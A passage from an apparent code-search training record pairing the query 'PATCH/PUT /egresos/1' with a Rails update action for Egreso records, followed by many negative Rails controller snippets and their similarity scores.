format.json { render json: @cargo_eleicao, status: :created, location: @cargo_eleicao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cargo_eleicao.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @expediente = Expediente.new(params[:expediente])\n \n respond_to do |format|\n if @expediente.save\n format.html { redirect_to @expediente, notice: 'Expediente was successfully created.' }\n format.json { render json: @expediente, status: :created, location: @expediente }\n else\n format.html { render action: \"new\" }\n format.json { render json: @expediente.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @equipo_torneos = EquiposTorneos.new(equipos_torneos_params)\n \n if @equipo_torneos.save\n \n else\n render json: @equipo_torneos.errors, status: :unprocessable_entity\n end\n end", "def create\n @ess = Esse.new(ess_params)\n\n respond_to do |format|\n if @ess.save\n format.html { redirect_to esses_url, notice: 'Esse was successfully created.' }\n format.json { render :show, status: :created, location: @ess }\n else\n format.html { render :new }\n format.json { render json: @ess.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ocs_generada = OcsGenerada.new(ocs_generada_params)\n\n respond_to do |format|\n if @ocs_generada.save\n format.html { redirect_to @ocs_generada, notice: 'Ocs generada was successfully created.' }\n format.json { render :show, status: :created, location: @ocs_generada }\n else\n format.html { render :new }\n format.json { render json: @ocs_generada.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @depoevento = Depoevento.new(params[:depoevento])\n\n respond_to do |format|\n if @depoevento.save\n format.html { redirect_to @depoevento, notice: 'Depoevento was successfully created.' }\n format.json { render json: @depoevento, status: :created, location: @depoevento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @depoevento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tercero = Tercero.new(tercero_params)\n\n respond_to do |format|\n if @tercero.save\n format.html { redirect_to @tercero, notice: 'Tercero was successfully created.' }\n format.json { render :show, status: :created, location: @tercero }\n else\n format.html { render :new }\n format.json { render json: @tercero.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @veiculo = Veiculo.new(params[:veiculo])\n\n respond_to do |format|\n if @veiculo.save\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully created.' }\n format.json { render :json => @veiculo, :status => :created, :location => @veiculo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(path, data = {})\n request 'POST', path, body: data.to_json\n end", "def create\n @estagio = Estagio.new(params[:estagio])\n\n respond_to do |format|\n if @estagio.save\n flash[:notice] = 'Estagio was successfully created.'\n format.html { redirect_to(@estagio) }\n format.xml { render :xml => @estagio, :status => :created, :location => @estagio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estagio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @egreso_ordinario = EgresoOrdinario.new(egreso_ordinario_params)\n\n respond_to do |format|\n if @egreso_ordinario.save\n format.html { redirect_to @egreso_ordinario, notice: 'Egreso ordinario was successfully created.' }\n format.json { render :show, status: :created, location: @egreso_ordinario }\n else\n format.html { render :new }\n format.json { render json: @egreso_ordinario.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @groep = Groep.new(params[:groep])\n @lesgevers = Lesgever.order('name').all\n @dags = Dag.all\n @niveaus = Niveau.order('position').all\n respond_to do |format|\n if @groep.save\n format.html { redirect_to @groep, notice: 'Groep werd succesvol aangemaakt.' }\n format.json { render json: @groep, status: :created, location: @groep }\n else\n format.html { render action: \"new\" }\n format.json { render json: @groep.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @elector = Elector.new(elector_params)\n\n if @elector.save\n render json: @elector, status: :created, location: @elector\n else\n render json: @elector.errors, status: :unprocessable_entity\n end\n end", "def create\n @demande_eg = DemandeEg.new(demande_eg_params)\n\n respond_to do |format|\n if @demande_eg.save\n format.html { redirect_to @demande_eg, notice: 'Demande eg was successfully created.' }\n format.json { render :show, status: :created, location: @demande_eg }\n else\n format.html { render :\"new\" }\n end\n end\n end", "def create\n @objeto = Carpeta.new(carpeta_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Carpeta was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end", "def create\n @offerte_regel = OfferteRegel.new(offerte_regel_params)\n\n respond_to do |format|\n if @offerte_regel.save\n format.html { redirect_to @offerte_regel, notice: 'Offerte regel was successfully created.' }\n format.json { render :show, status: :created, location: @offerte_regel }\n else\n format.html { render :new }\n format.json { render json: @offerte_regel.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{uri}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts result[:result]\n result\nend", "def create\n\n @prepagada = Prepagada.new({ :prepagada => params[:prepagada], :odontologo_id => params[:odontologo_id] })\n\n respond_to do |format|\n if @prepagada.save\n format.html { redirect_to @prepagada, notice: 'Prepagada was successfully created.' }\n format.json { render json: @prepagada, status: :created, location: @prepagada }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prepagada.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gosok = Gosok.new(gosok_params)\n\n respond_to do |format|\n if @gosok.save\n format.html { redirect_to gosoks_url, notice: 'Gosok was successfully created.' }\n format.json { render :show, status: :created, location: @gosok }\n else\n format.html { render :new }\n format.json { render json: @gosok.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @excepcion_entrega = ExcepcionEntrega.new(params[:excepcion_entrega])\n\n respond_to do |format|\n if @excepcion_entrega.save\n format.html { redirect_to @excepcion_entrega, notice: 'Excepcion entrega was successfully created.' }\n format.json { render json: @excepcion_entrega, status: :created, location: @excepcion_entrega }\n else\n format.html { render action: \"new\" }\n format.json { render json: @excepcion_entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ejercicio = Ejercicio.new(params[:ejercicio])\n\n respond_to do |format|\n if @ejercicio.save\n format.html { redirect_to @ejercicio, notice: 'Ejercicio was successfully created.' }\n format.json { render json: @ejercicio, status: :created, location: @ejercicio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ejercicio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @evento = Evento.new(evento_params)\n\n respond_to do |format|\n if @evento.save\n format.html { redirect_to eventos_url, notice: 'El evento fue exitosamente creado.' }\n format.json { render :show, status: :created, location: @evento }\n else\n format.html { render :new }\n format.json { render json: @evento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @emprestimo = Emprestimo.new(emprestimo_params)\n\n respond_to do |format|\n if @emprestimo.save\n format.html { redirect_to @emprestimo, notice: 'Reserva/Empréstimo foi Adicionado.' }\n format.json { render :show, status: :created, location: @emprestimo }\n else\n format.html { render :new }\n format.json { render json: @emprestimo.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{path}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts result[:result]\n result\nend", "def create\n megam_rest.post_node(to_hash)\n end", "def upload\n @mote = mote.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mote }\n end\n end", "def create\n @efectivo = Efectivo.new(efectivo_params)\n\n respond_to do |format|\n if @efectivo.save\n format.html { redirect_to @efectivo, notice: 'Efectivo was successfully created.' }\n format.json { render :show, status: :created, location: @efectivo }\n else\n format.html { render :new }\n format.json { render json: @efectivo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @repuesto = Repuesto.new(repuesto_params)\n\n respond_to do |format|\n if @repuesto.save\n format.html { redirect_to @repuesto, notice: 'Repuesto was successfully created.' }\n format.json { render :show, status: :created, location: @repuesto }\n else\n format.html { render :new }\n format.json { render json: @repuesto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @posto = Posto.new(posto_params)\n\n respond_to do |format|\n if @posto.save\n format.html { redirect_to @posto, notice: 'Posto was successfully created.' }\n format.json { render :show, status: :created, location: @posto }\n else\n format.html { render :new }\n format.json { render json: @posto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @epicrisis = Epicrisis.new(epicrisis_params)\n\n respond_to do |format|\n if @epicrisis.save\n format.html { redirect_to @epicrisis, notice: 'Epicrisis was successfully created.' }\n format.json { render :show, status: :created, location: @epicrisis }\n else\n format.html { render :new }\n format.json { render json: @epicrisis.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @estadopro = Estadopro.new(estadopro_params)\n\n respond_to do |format|\n if @estadopro.save\n format.html { redirect_to @estadopro, notice: 'Estadopro was successfully created.' }\n format.json { render :show, status: :created, location: @estadopro }\n else\n format.html { render :new }\n format.json { render json: @estadopro.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @especy = Especie.new(params[:especy])\n\n respond_to do |format|\n if @especy.save\n format.html { redirect_to @especy, notice: 'Especie was successfully created.' }\n format.json { render json: @especy, status: :created, location: @especy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @especy.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @prueba_json = PruebaJson.new(prueba_json_params)\n\n respond_to do |format|\n if @prueba_json.save\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully created.' }\n format.json { render action: 'show', status: :created, location: @prueba_json }\n else\n format.html { render action: 'new' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @estatuto = Estatuto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @estatuto }\n end\n end", "def create\n @refugee = Refugee.new(refugee_params)\n\n respond_to do |format|\n if @refugee.save\n format.html { redirect_to @refugee, notice: 'Refugee was successfully created.' }\n format.json { render :show, status: :created, location: @refugee }\n else\n format.html { render :new }\n format.json { render json: @refugee.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @respuesta = Respuesta.new(respuesta_params)\n\n respond_to do |format|\n if @respuesta.save\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully created.' }\n format.json { render :show, status: :created, location: api_v1_respuesta_url(@respuesta) }\n else\n format.html { render :new }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @questionario_egresso = QuestionarioEgresso.new(questionario_egresso_params)\n\n respond_to do |format|\n if @questionario_egresso.save\n format.html { redirect_to questionario_egressos_path, notice: 'Questionario incluído com sucesso.' }\n format.json { render :show, status: :created, location: questionario_egressos_path }\n else\n format.html { render :new }\n format.json { render json: @questionario_egresso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n prepara_form\n @garagem = Garagem.new(garagem_params)\n @garagem.endereco = Endereco.new(endereco_params)\n\n respond_to do |format|\n if @garagem.save\n format.html { redirect_to @garagem, notice: 'Garagem foi salva com sucesso' }\n format.json { render :show, status: :created, location: @garagem }\n else\n format.html { render :new }\n format.json { render json: @garagem.errors, status: :unprocessable_entity }\n end\n end\n end", "def criar_sobrevivente\n @suvivor = Sobrevivente.create(\n name: params[:name], genero: params[:genero], idade: params[:idade],\n lat: params[:lat], lon: params[:lon],\n agua: params[:agua], comida: params[:comida], medicamento: params[:medicamento],\n municao: params[:municao]\n )\n render json: @suvivor\n end", "def create\n @orden_entrega = OrdenEntrega.new(orden_entrega_params)\n\n respond_to do |format|\n if @orden_entrega.save\n format.html { redirect_to @orden_entrega, notice: 'Orden entrega was successfully created.' }\n format.json { render :show, status: :created, location: @orden_entrega }\n else\n format.html { render :new }\n format.json { render json: @orden_entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n userID = session[:user_id]\n editionID = params[:edition_id]\n price = params[:price]\n\n uri = URI(\"http://107.170.7.58:4567/api/create/sell\")\n parameters = {\"ext\" => \"json\", \"user_id\" => userID, \"edition_id\" => editionID, \"price\" => price, \"start_date\" => Time.now, \"end_date\" => 90.days.from_now}\n response = Net::HTTP.post_form(uri, parameters)\n list = JSON.parse(response.body)\n\n @response = list[0][\"kind\"]\n end", "def create\n @objeto = Imagen.new(imagen_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Imagen was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @estadoproceso = Estadoproceso.new(estadoproceso_params)\n\n respond_to do |format|\n if @estadoproceso.save\n format.html { redirect_to @estadoproceso, notice: 'Estadoproceso was successfully created.' }\n format.json { render :show, status: :created, location: @estadoproceso }\n else\n format.html { render :new }\n format.json { render json: @estadoproceso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @empresas = Empresa.new(empresa_params)\n\n respond_to do |format|\n if @empresas.save\n format.html { redirect_to @empresas, notice: 'Empresa was successfully created.' }\n format.json { render :show, status: :created, location: @empresas }\n else\n format.html { render :new }\n format.json { render json: @empresas.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.create(post_params)\n puts \"LLLLLOOOOOOOLLLLLL\"\n puts current_usuario.to_json\n @post = current_usuario.posts.create(post_params)\n \n @post.sangre = current_usuario.tipoDeSangre\n\n\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def json_post\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n puts \"json_post: submitting #{params[:path]}\" if @@debug\n path = params[:path]\n if path\n puts \"json_post: path is #{path} l=#{path.length}\" if @@debug\n path = path.split('/').compact()\n path.delete('')\n # you cannot make rooted nodes via json atm... fix? xxx\n if path.length > 1\n name = path.pop\n nodes = Note.make_path @user,path\n puts \"json_post: making at path #{path.join('/')}\" if @@debug\n if nodes\n note = nodes.last.make_child @user,params,name\n puts \"json_post: made child #{note} from #{name} l=#{name.length}\"\n params[:path] = path.join('/') # for call to json_query\n # it is important to do a query rather than returning the note; to get freshest order\n json_query\n return\n #write_json note if note\n end\n end\n end\n render :nothing => true\n end", "def create\n @tipo_exame = TipoExame.new(tipo_exame_params)\n\n respond_to do |format|\n if @tipo_exame.save\n format.html { redirect_to @tipo_exame, notice: 'Tipo exame was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_exame }\n else\n format.html { render :new }\n format.json { render json: @tipo_exame.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @eva = Eva.new(eva_params)\n\n respond_to do |format|\n if @eva.save\n format.html { redirect_to :back, notice: '✔ 評価が送信されました' }\n format.json { render :show, status: :created, location: @eva }\n else\n format.html { render :new }\n format.json { render json: @eva.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @odontologo = Odontologo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @odontologo }\n end\n end", "def create\n @archdiocese = Archdiocese.new(archdiocese_params)\n\n if @archdiocese.save\n render json: @archdiocese, status: :created, location: @archdiocese\n else\n render json: @archdiocese.errors, status: :unprocessable_entity\n end\n end", "def creacion\n fiesta = Fiesta.new (params[:id])\n if Fiesta.save\n puts \"su fiesta a sido registrada\"\n else \n puts \"su fiesta no a sido registrada\"\n end\n render = json: fiesta \n end", "def create\n @espetaculo = Espetaculo.new(espetaculo_params)\n\n respond_to do |format|\n if @espetaculo.save\n format.html { redirect_to @espetaculo, notice: 'Espetaculo was successfully created.' }\n format.json { render :show, status: :created, location: @espetaculo }\n else\n format.html { render :new }\n format.json { render json: @espetaculo.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.60420245", "0.602751", "0.60156673", "0.597133", "0.59489936", "0.591894", "0.5902601", "0.5895046", "0.5871225", "0.58207285", "0.57962465", "0.57889885", "0.577726", "0.5763865", "0.57586485", "0.57469255", "0.5686293", "0.56798947", "0.567445", "0.56469846", "0.5621712", "0.5613674", "0.5610676", "0.55970585", "0.5591867", "0.5591708", "0.5588537", "0.5588488", "0.55857795", "0.5568982", "0.5566879", "0.55656433", "0.55554855", "0.55552644", "0.5550968", "0.5550757", "0.5543954", "0.5538594", "0.552854", "0.55281454", "0.5519839", "0.5519764", "0.5513285", "0.5511826", "0.5511369", "0.55078673", "0.5498638", "0.549538", "0.549276", "0.5492215", "0.5477405", "0.54758966", "0.5475314", "0.5460933", "0.5460786", "0.54578555", "0.54520774", "0.54458135", "0.5439645", "0.5439041", "0.5437664", "0.5436689", "0.54335034", "0.5431665", "0.54287386", "0.54259396", "0.54246426", "0.5424349", "0.54240453", "0.5421254", "0.5418727", "0.5417712", "0.54112864", "0.5401159", "0.5399564", "0.5398328", "0.53956676", "0.53944653", "0.53937775", "0.5390947", "0.53905106", "0.53897166", "0.5388913", "0.5387473", "0.5385581", "0.5385126", "0.5384391", "0.53841305", "0.5383961", "0.5382691", "0.5381693", "0.5381024", "0.5380526", "0.5380477", "0.537624", "0.53739655", "0.5373763", "0.53704166", "0.5358894", "0.5358261", "0.535717" ]
0.0
-1
PATCH/PUT /egresos/1 PATCH/PUT /egresos/1.json
def update @egreso = Egreso.find(params[:id]) @total=dinero_actual if @egreso.update(egreso_params) if @egreso.monto>@total flash[:warning] = 'El monto de egreso no puede ser mayor al monto actual' render action: "edit" else flash[:success] = "Egreso actualizado exitosamente" redirect_to '/egresos' end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def patch!\n request! :patch\n end", "def update\n respond_to do |format|\n if @resto.update(resto_params)\n format.html { redirect_to @resto, notice: 'Entry was successfully updated.' }\n format.json { render :show, status: :ok, location: @resto }\n else\n format.html { render :edit }\n format.json { render json: @resto.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n @ore = Ore.find(params[:id])\n \n respond_to do |format|\n if @ore.update_attributes(params[:ore])\n format.html { redirect_to @ore, notice: 'Ore was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ore.errors, status: :unprocessable_entity }\n end\n end\n end", "def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update\n @soiree = Soiree.find(params[:id])\n\n respond_to do |format|\n if @soiree.update_attributes(params[:soiree])\n format.html { redirect_to @soiree, notice: 'Soiree was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @soiree.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n respond_to do |format|\n if @rest.update(rest_params)\n format.html { redirect_to @rest, notice: 'Rest was successfully updated.' }\n format.json { render :show, status: :ok, location: @rest }\n else\n format.html { render :edit }\n format.json { render json: @rest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @oeuvre.update(oeuvre_params)\n format.html { redirect_to oeuvres_url, notice: 'Oeuvre was successfully updated.' }\n format.json { render :show, status: :ok, location: @oeuvre }\n else\n format.html { render :edit }\n format.json { render json: @oeuvre.errors, status: :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n respond_to do |format|\n if @cegreso.update(cegreso_params)\n format.html { redirect_to @cegreso, notice: 'Cegreso was successfully updated.' }\n format.json { render :show, status: :ok, location: @cegreso }\n else\n format.html { render :edit }\n format.json { render json: @cegreso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(objeto_params)\n format.html { redirect_to @objeto, notice: 'Objeto was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(objeto_params)\n format.html { redirect_to @objeto, notice: 'Objeto was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @especy = Especie.find(params[:id])\n\n respond_to do |format|\n if @especy.update_attributes(params[:especy])\n format.html { redirect_to @especy, notice: 'Especie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @especy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prueba_json.update(prueba_json_params)\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(operation, path, value = nil)\n ensure_client && ensure_uri\n body = [{ 'op' => operation, 'path' => path, 'value' => value }]\n patch_options = { 'If-Match' => @data['eTag'] }\n response = @client.rest_patch(@data['uri'], patch_options.merge('body' => body), @api_version)\n @client.response_handler(response)\n end", "def update\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n if @peso.update_attributes(params[:peso])\n format.html { redirect_to @peso, notice: 'Peso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @peso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n respond_to do |format|\n if @eje.update(eje_params)\n format.html { redirect_to @eje, notice: 'Eje was successfully updated.' }\n format.json { render :show, status: :ok, location: @eje }\n else\n format.html { render :edit }\n format.json { render json: @eje.errors, status: :unprocessable_entity }\n end\n end\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update\n @eou = Eou.find(params[:id])\n\n respond_to do |format|\n if @eou.update_attributes(params[:eou])\n format.html { redirect_to @eou, :notice => 'Eou was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @eou.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @estatuto = Estatuto.find(params[:id])\n\n respond_to do |format|\n if @estatuto.update_attributes(params[:estatuto])\n format.html { redirect_to @estatuto, notice: 'Estatuto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @estatuto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @servico_evento.update(servico_evento_params)\n format.html { redirect_to @servico_evento, notice: 'Evento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_evento.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n require 'rest-client'\n response = RestClient.put('localhost:3001/colores/'[email protected]_s, color_params.as_json, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'})\n if response.code == 200\n @color = JSON.parse(response.body)\n\n format.html { redirect_to @color, notice: \"Color was successfully updated.\" }\n format.json { render :show, status: :ok, location: @color }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @color.errors, status: :unprocessable_entity }\n end\n end\n end", "def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end", "def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end", "def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(operation, path, value = nil)\n ensure_client && ensure_uri\n body = {\n 'op' => operation,\n 'path' => path,\n 'value' => value\n }\n response = @client.rest_patch(@data['uri'], { 'Content-Type' => 'application/json-patch+json', 'body' => [body] }, @api_version)\n @client.response_handler(response)\n end", "def update\n respond_to do |format|\n if @ephem.update(ephem_params)\n format.html { redirect_to @ephem, notice: 'Ephem was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ephem.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipoenvolvido.update(tipoenvolvido_params)\n format.html { redirect_to @tipoenvolvido, notice: 'Tipoenvolvido was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoenvolvido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @referee = Referee.find(params[:id])\n\n respond_to do |format|\n if @referee.update_attributes(params[:referee])\n format.html { redirect_to @referee, notice: 'Referee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @referee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @refugee.update(refugee_params)\n format.html { redirect_to @refugee, notice: 'Refugee was successfully updated.' }\n format.json { render :show, status: :ok, location: @refugee }\n else\n format.html { render :edit }\n format.json { render json: @refugee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ecole.update(ecole_params)\n format.html { redirect_to ecoles_url, notice: 'Ecole was successfully updated.' }\n format.json { render :show, status: :ok, location: @ecole }\n else\n format.html { render :edit }\n format.json { render json: @ecole.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(imagen_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Imagen was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n end", "def update \n retorno = {erro: \"322\" ,body: \"\"}\n if @usuario.update(valid_request?)\n retorno = {erro: \"000\", body: {evento_id: @usuario.id, usuario_nome: @usuario.nome}}\n end\n render json: retorno.to_json\n end", "def update\n respond_to do |format|\n if @ingresso.update(ingresso_params)\n format.html { redirect_to @ingresso, notice: 'Ingresso was successfully updated.' }\n format.json { render :show, status: :ok, location: @ingresso }\n else\n format.html { render :edit }\n format.json { render json: @ingresso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ejemplo.update(ejemplo_params)\n 